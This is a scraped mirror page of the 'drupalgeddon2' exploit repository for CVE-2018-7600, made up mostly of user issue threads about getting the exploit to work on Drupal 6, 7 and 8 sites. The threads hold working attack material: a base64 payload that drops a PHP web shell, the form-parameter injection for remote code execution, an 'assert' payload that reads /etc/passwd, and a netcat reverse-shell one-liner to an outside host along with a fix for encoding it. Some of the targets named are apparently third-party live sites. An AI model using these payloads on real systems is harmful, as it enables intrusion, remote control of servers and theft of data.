Coder Social home page Coder Social logo

dreadlocked / drupalgeddon2 Goto Github PK

View Code? Open in Web Editor NEW
565.0 23.0 178.0 103 KB

Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Ruby 100.00%
exploit drupal drupalgeddon2 sa-core-2018-002 cve-2018-7600 drupal7 drupal8 drupalgeddon poc

drupalgeddon2's People

Contributors

cruzanstx avatar dreadlocked avatar g0tmi1k avatar jedthe3rd avatar kingsabri avatar lnxg33k avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

drupalgeddon2's Issues

Exploit FAILED ~ Response: 404

Hi,

Tested this on 8.4.5 / 8.5.0 and exploit fails every time
3 different VMs with RHEL7 / PHP7

[] Target : http://192.168.0.208/
[
] Command: whoami
[] PHP cmd: exec
[
] Payload: echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg== | base64 -d | tee s.php

[+] Target seems to be exploitable! w00hooOO!
[+] Result: [
{
"command": "insert",
"method": "replaceWith",
"selector": null,
"data": "<span class="ajax-new-content">",
"settings": null
}
]

[*] curl 'http://192.168.0.208/s.php?c=whoami'

[!] Exploit FAILED ~ Response: 404

Thanks

Drupal v8.x detected as v6.x?

First of all- great tool, thanks!
I'm getting a weird result when checking a site that runs Drupal v8.x:
screen shot 2018-09-04 at 15 09 29

Drupalgeddon result-

[*] --==[::#Drupalggedon2::]==--

[i] Target : https://xxxxx/

[+] Found : https://xxxxx/CHANGELOG.txt (HTTP Response: 200)
[!] WARNING: Could be a false-positive [1-1], as the file could be reported to be missing
[!] WARNING: Unable to detect keyword 'drupal.org'
[+] Found : https://xxxxx/core/CHANGELOG.txt (HTTP Response: 200)
[+] Found : https://xxxxx/includes/bootstrap.inc (HTTP Response: 200)
[+] Found : https://xxxxx/core/includes/bootstrap.inc (HTTP Response: 403)
[+] Found : https://xxxxx/includes/database.inc (HTTP Response: 200)
[+] Drupal?: v6.x
[-] Unsupported Drupal version (6.x)

I've tried running the customizable script, returns an error:
"drupalgeddon2-customizable-beta.rb:69:in `+': no implicit conversion of nil into String (TypeError)"

Any ideas?

disabled PHP function?

Hi!

When I try use this exploit on few sites, I get error:
Didn't detect any output (disabled PHP function?)

Why?

[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://EXAMPLE.ru/
--------------------------------------------------------------------------------
[+] Found  : http://EXAMPLE.ru/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo NNWXFZNT
[!] WARNING: Target might to be exploitable [2]...   Didn't detect any output (disabled PHP function?)


[drupalgeddon2-customizable-beta.rb] 4th argument method - always /user/password

gogu@GoguSclipici:~/dld/1$ ruby drupalgeddon2-customizable-beta.rb https://192.168.1.10/ 7 "ps x" "system" "1"
Requesting: 192.168.1.10//user/password/?name[%23post_render][]=system&name[%23markup]=ps%20x&name[%23type]=markup
POST: form_id=user_pass&_triggering_element_name=name
302
drupalgeddon2-customizable-beta.rb:86:in `get_form_build_id': undefined method `[]' for nil:NilClass (NoMethodError)
	from drupalgeddon2-customizable-beta.rb:115:in `exploit'
	from drupalgeddon2-customizable-beta.rb:167:in `<main>'
gogu@GoguSclipici:~/dld/1$ ruby drupalgeddon2-customizable-beta.rb https://192.168.1.10/ 7 "ps x" "system" "0"
Requesting: 192.168.1.10//user/password/?name[%23post_render][]=system&name[%23markup]=ps%20x&name[%23type]=markup
POST: form_id=user_pass&_triggering_element_name=name
302
drupalgeddon2-customizable-beta.rb:86:in `get_form_build_id': undefined method `[]' for nil:NilClass (NoMethodError)
	from drupalgeddon2-customizable-beta.rb:115:in `exploit'
	from drupalgeddon2-customizable-beta.rb:167:in `<main>'

no matter what i chose it still uses /user/password
if i dont put any 4th argument it runs fine with /?q=user/password&name

Connection reset by peer (Errno::ECONNRESET

[*] Testing: Code Execution (Method: name)
[i] Payload: echo ZLUKVHEH
/usr/lib/ruby/3.1.0/socket.rb:452:in __read_nonblock': Connection reset by peer (Errno::ECONNRESET) from /usr/lib/ruby/3.1.0/socket.rb:452:in read_nonblock'
from /usr/lib/ruby/3.1.0/net/protocol.rb:212:in rbuf_fill' from /usr/lib/ruby/3.1.0/net/protocol.rb:193:in readuntil'
from /usr/lib/ruby/3.1.0/net/protocol.rb:203:in readline' from /usr/lib/ruby/3.1.0/net/http/response.rb:42:in read_status_line'
from /usr/lib/ruby/3.1.0/net/http/response.rb:31:in read_new' from /usr/lib/ruby/3.1.0/net/http.rb:1575:in block in transport_request'
from /usr/lib/ruby/3.1.0/net/http.rb:1566:in catch' from /usr/lib/ruby/3.1.0/net/http.rb:1566:in transport_request'
from /usr/lib/ruby/3.1.0/net/http.rb:1539:in request' from /usr/lib/ruby/3.1.0/net/http.rb:1532:in block in request'
from /usr/lib/ruby/3.1.0/net/http.rb:966:in start' from /usr/lib/ruby/3.1.0/net/http.rb:1530:in request'
from drupalgeddon2.rb:53:in http_request' from drupalgeddon2.rb:96:in gen_evil_url'
from drupalgeddon2.rb:475:in block in <main>' from drupalgeddon2.rb:467:in each'
from drupalgeddon2.rb:467:in `

'

error

Traceback (most recent call last):
2: from drupalgeddon2.rb:16:in <main>' 1: from /usr/local/lib/site_ruby/2.5.0/rubygems/core_ext/kernel_require.rb:54:in require'
/usr/local/lib/site_ruby/2.5.0/rubygems/core_ext/kernel_require.rb:54:in `require': cannot load such file -- highline/import (LoadError)

Adapt to drupal 6

Not works on drupal 6 any idea to adapt this exploit. Normally is also vulnerable.
Thx

exploit has been ported to CVE-in-Ruby

Hello guys, just wanted to thank you for porting the exploit to Ruby. I've added the exploit with some quick modifications to CVE-in-Ruby repository here. All rights have been reserved to you

I've added Readline loop just to make interacting with uploaded shell all from the same exploit

[*] --==[::#Drupalggedon2::]==--

[+] Target seems to be exploitable! w00hooOO!
[+] PHP shell: http://172.17.0.2/s.php?c=CMD 
[+] Type your commands (exit to exit) and press Enter!
Drupalgeddon2-> whoami
www-data
Drupalgeddon2-> pwd
/var/www/html
Drupalgeddon2-> 

Please let know if you have an issue with that, if yes, I can rewrite the exploit again.

Appreciate your efforts, guys

Can't get it to work. How do I enable write access?

This is what I get when I run it:
Screenshot from Gyazo

I am sure it is a problem with how I setup write access but I can't figure out how to fix it.

I am running a local drupal 8.4.5 installation.
Trying to setup a demo for a school project so any help would be appreciated.

ModuleNotFoundError: No module named 'colorclass'

Traceback (most recent call last):
File "/usr/local/bin/olevba", line 33, in
sys.exit(load_entry_point('oletools==0.60.1.dev2', 'console_scripts', 'olevba')())
File "/usr/local/bin/olevba", line 25, in importlib_load_entry_point
return next(matches).load()
File "/usr/local/lib/python3.9/importlib/metadata.py", line 77, in load
module = import_module(match.group('module'))
File "/usr/local/lib/python3.9/importlib/init.py", line 127, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
File "", line 1030, in _gcd_import
File "", line 1007, in _find_and_load
File "", line 986, in _find_and_load_unlocked
File "", line 680, in _load_unlocked
File "", line 790, in exec_module
File "", line 228, in _call_with_frames_removed
File "/usr/local/lib/python3.9/site-packages/oletools-0.60.1.dev2-py3.9.egg/oletools/olevba.py", line 307, in
import colorclass
ModuleNotFoundError: No module named 'colorclass'

error

drupalgeddon2.rb:147:in <main>': undefined method strip' for nil:NilClass (NoMethodError)

Target is not exploitabe

Hello there, would you kindly help me troubleshoot here.
I ran your exploit against a vuln box and received the output on the screenshot below.
also found a write-up of the same box online and apparently the exploit worked fine.
Any ideas?
Thank you
C
image

Not even able to execute *direct commands*

Target: Drupal 7.31

[!] FAILED: Coudn't find writeable web path
[*] Dropping back direct commands (expect an ugly shell!)
drupalgeddon2>> whoami
[{"command":"settings","settings":{"basePath":"/","pathPrefix":"","ajaxPageState":{"theme":"ita_members","theme_token":"RISro4XrxuW9kMvaaHHLKNxEu6YecYzfpzRPGhXbhpI"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C/span\u003E","settings":{"basePath":"/","pathPrefix":"","ajaxPageState":{"theme":"ita_members","theme_token":"RISro4XrxuW9kMvaaHHLKNxEu6YecYzfpzRPGhXbhpI"}}}]

Exploit fails on drupal 7

Hey, I've tested it on 8.4.5, 8.3.7 and it works.
However, it fails on 7.5.5.

user@debian:~/drupwn/testpwn$ ruby drupalgeddon2.rb https://testsite whoami
[*] --==[::#Drupalggedon2::]==--

[] Target : https://mysite
[
] Command: whoami
[] PHP cmd: exec
[
] Payload: echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg== | base64 -d | tee s.php

[+] Target seems to be exploitable! w00hooOO!
/usr/lib/ruby/2.3.0/json/common.rb:156:in parse': 784: unexpected token at '!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" (JSON::ParserError)
"http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"`

And after this goes just plain drupal html.

Add Drupal v6.x support

Hi !

Thanks for sharing those PoCs with the community :) I was wondering if you know how to exploit Drupal 6.* ?

So far;
Drupal 7 is with /user/password
Drupal 8 is with /user/register

Thanks!

Drupal v7.54

Hi,

#attack machine
kali 2020_03 full updated

#target
OS: Windows
webserver: IIS8.5
Drupal v7.54

https://www.local.com/CHANGELOG.txt

Tried with the 'try_phpshell = true' and 'try_phpshell = false' not runing.

Any ideas i could try?

############
[root:/opt/Drupalgeddon2]# ruby drupalgeddon2.rb https://www.local.com/ (master)
[*] --==[::#Drupalggedon2::]==--

[i] Target : https://www.local.com/

[+] Found : https://www.local.com/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.54

[*] Testing: Form (user/password)
[+] Result : Form valid


[*] Testing: Clean URLs
[+] Result : Clean URLs enabled

[*] Testing: Code Execution (Method: name)
[i] Payload: echo EOLRQNNO
Traceback (most recent call last):
7: from drupalgeddon2.rb:463:in <main>' 6: from drupalgeddon2.rb:463:in each'
5: from drupalgeddon2.rb:473:in block in <main>' 4: from drupalgeddon2.rb:44:in http_request'
3: from /usr/lib/ruby/2.7.0/uri/common.rb:737:in URI' 2: from /usr/lib/ruby/2.7.0/uri/common.rb:234:in parse'
1: from /usr/lib/ruby/2.7.0/uri/rfc3986_parser.rb:73:in parse' /usr/lib/ruby/2.7.0/uri/rfc3986_parser.rb:21:in split': URI must be ascii only "https://www.local.com/?q=file/ajax/name/%23value/form-2sKgFeXBW8q3Ukw1XT7U6wHkN_RxDjP0zcrXhWGxt68\\" /><input type=\"hidden\" name=\"form_id\" value=\"search_block_form\" /><div style=\"clear:both\"><div class=\"block-sep\"><div id=\"navigation\" role=\"navigation\" class=\"clearfix\"><div class=\"constrain\"><div id=\"nav-left\"><div id=\"nav-right\"><ul id=\"navmenu\" class=\"sf-menu sf-js-enabled sf-shadow\">

  • <a href=\"#\">In\xC3\xADcio<span class=\"sf-sub-indicator\"> \xC2\xBB
    • <a href=\"

  • using the user/login instead user/password?

    Thank u guys for this xpl,

    I was trying to make this work w/ user/password form instead user/login(disabled),

    • the first request works, It grab the form_build_id;
    • the second post works too.. but it didnt trigger the code execution.. just return the json output.

    [{"command":"settings","settings":{"basePath":"/drupal-7.43/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"ujFkz760YMJYxE-x5scsgNLjtT8tG0d6YB_gCizLJ-U"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cdiv class=\u0022messages error\u0022\u003E\n\u003Ch2 class=\u0022element-invisible\u0022\u003EError message\u003C/h2\u003E\n \u003Cul\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C/em\u003E: Undefined index: #value in \u003Cem class=\u0022placeholder\u0022\u003Efile_ajax_upload()\u003C/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E262\u003C/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003EC:\xampp\htdocs\drupal-7.43\modules\file\file.module\u003C/em\u003E).\u003C/li\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C/em\u003E: Undefined index: #suffix in \u003Cem class=\u0022placeholder\u0022\u003Efile_ajax_upload()\u003C/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E280\u003C/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003EC:\xampp\htdocs\drupal-7.43\modules\file\file.module\u003C/em\u003E).\u003C/li\u003E\n \u003C/ul\u003E\n\u003C/div\u003E\n\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C/span\u003E","settings":{"basePath":"/drupal-7.43/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"ujFkz760YMJYxE-x5scsgNLjtT8tG0d6YB_gCizLJ-U"}}}]

    I also changed the form_id, I think the problem was on _triggering_element_name..

    Drupal v7.9 - "[+] Drupal!: can detect a matching directory"

    Hi!
    Thank you for sharing this PoC! It works like a charm on my 7.28 and 7.56.
    However, on 7.9 site I only get

    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [*] Target : http://xxxxx/
    --------------------------------------------------------------------------------
    [!] MISSING: http://xxxxx/CHANGELOG.txt (404)
    [!] MISSING: http://xxxxx/core/CHANGELOG.txt (404)
    [+] Found  : http://xxxxx/includes/bootstrap.inc (200)
    [+] Drupal!: can detect a matching directory
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [*] Payload: echo TZPPOZNH
    [!] Unsupported Drupal version
    

    Obviously, exploit encounters some problems while determining drupal version.
    Earlier versions of the exploit respond with

    *nothing interesting above, I think*
    [+] Drupal!: can detect a matching directory
    --------------------------------------------------------------------------------
    [*] PHP cmd: passthru 
    --------------------------------------------------------------------------------
    [+] Target seems to be exploitable! w00hooOO!
    [+] Result: *lots of html code of http://xxxxx/?q=user/password/*
    --------------------------------------------------------------------------------
    [*]   curl 'http://xxxxx/s.php' -d 'c=whoami'
    --------------------------------------------------------------------------------
    [!] Exploit FAILED ~ Response: 404
    

    I would appreciate any help getting this exploit to work.
    Thanks in advance.
    Regards,
    kill-20

    error when running

    Traceback (most recent call last):
    2: from drupalgeddon2.rb:16:in <main>' 1: from /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in require'
    /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in `require': cannot load such file -- highline/import (LoadError)

    Assert is the new sexy

    Hi!

    Instead of use exec or passthru is far better to use assert, so you can eval custom PHP code. In this way you can avoid disable_functions issues :).

    Example of a valid payload:

    {'q':'user/password', 'name[0][#post_render][]':'assert', 'name[0][#markup]': $COMMAND . ' !== "X-C3LL";', 'name[0][#type]':'markup'} 

    So you can do things like:

    {'q':'user/password', 'name[0][#post_render][]':'assert', 'name[0][#markup]':'readfile("/etc/passwd") !== "X-C3LL";', 'name[0][#type]':'markup'} 

    [drupalgeddon2-customizable-beta.rb] breaks with special characters / non-escaped payloads (Found and Fixed)

    I have tested it against drupal version 8.5.0. (but should be applicable to all versions supported)

    Issue :

    I was trying to get reverse shell using the exploit with the payload rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 443 >/tmp/f which failed due to not being escaped and some url encoding problems.

    image

    Fix :

    I have fixed the issue by encoding the user payloads to base64 and then encoding it with url encoding, this will help the payload to be delivered successfully without any kind of escaping to be done at the our end.

    # Encoding for better Code Execution - @m4lv0id
    command = "echo " + Base64.strict_encode64(command) + " | base64 -d | sh"
    command = URI::encode(command)
    command = command.gsub('+','%2b')
    puts "Command : #{command}"
    

    Feel free to add these line to the exploit and all good to go. :)

    image

    Reference :

    image

    Code :

    drupalgeddon2-not-write-shell(with_encoded_payload).rb

    [drupalgeddon2-customizable-beta.rb] false positive?

    I deployed a fresh install of "drupal-8.3.5" and I'm trying to use the "drupalgeddon2-not-write-shell.rb" version of the exploit.
    I run the exploit with the following parameters:

    ruby drupalgeddon2-not-write-shell.rb <ip_address> id passthru 1

    drupal

    The output says that the target seems to be exploitable but I'm not receiving anything back.
    I missed something?

    Thanks.

    Recommend Projects

    • React photo React

      A declarative, efficient, and flexible JavaScript library for building user interfaces.

    • Vue.js photo Vue.js

      ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

    • Typescript photo Typescript

      TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

    • TensorFlow photo TensorFlow

      An Open Source Machine Learning Framework for Everyone

    • Django photo Django

      The Web framework for perfectionists with deadlines.

    • D3 photo D3

      Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

    Recommend Topics

    • javascript

      JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

    • web

      Some thing interesting about web. New door for the world.

    • server

      A server is a program made to process requests and deliver data to clients.

    • Machine learning

      Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

    • Game

      Some thing interesting about game, make everyone happy.

    Recommend Org

    • Facebook photo Facebook

      We are working to build community through open source technology. NB: members must have two-factor auth.

    • Microsoft photo Microsoft

      Open source projects and samples from Microsoft.

    • Google photo Google

      Google โค๏ธ Open Source for everyone.

    • D3 photo D3

      Data-Driven Documents codes.